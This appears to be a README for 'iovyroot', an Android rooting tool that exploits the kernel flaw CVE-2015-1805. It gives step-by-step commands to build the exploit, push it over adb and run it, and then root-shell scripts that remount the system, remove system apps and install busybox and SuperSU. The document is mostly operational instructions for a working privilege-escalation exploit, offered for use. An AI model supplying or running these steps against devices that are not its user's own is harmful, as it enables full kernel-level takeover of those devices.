A root tool based on the CVE-2015-1805 vulnerability
It supports 32 and 64bit but requires absolute kernel addresses (see offsets.c)
poc was done by idler1984 https://github.com/idl3r/testcode
###run in host
ndk-build && adb push iovy /data/local/tmp/iovy/ && adb shell ###run in android normal shell cd /data/local/tmp/iovy && chmod 755 *.sh modulecrcpatch iovyroot && ./iovyroot ###run in android root shell ./mount_fix.sh && ./clean_sysapp.sh
You can do anything in clean_sysapp.sh script file... _
http://su.chainfire.eu/#embed push busybox to /data/local/tmp cp busybox /system/xbin/ cd /system/xbin busybox --install . ln -fs /system/xbin/busybox /sbin/unzip busybox unzip /data/local/tmp/supersu.zip META-INF/com/google/android/* -d /tmp/supersu busybox sh /tmp/supersu/META-INF/com/google/android/update-binary dummy 1 /data/local/tmp/supersu.zip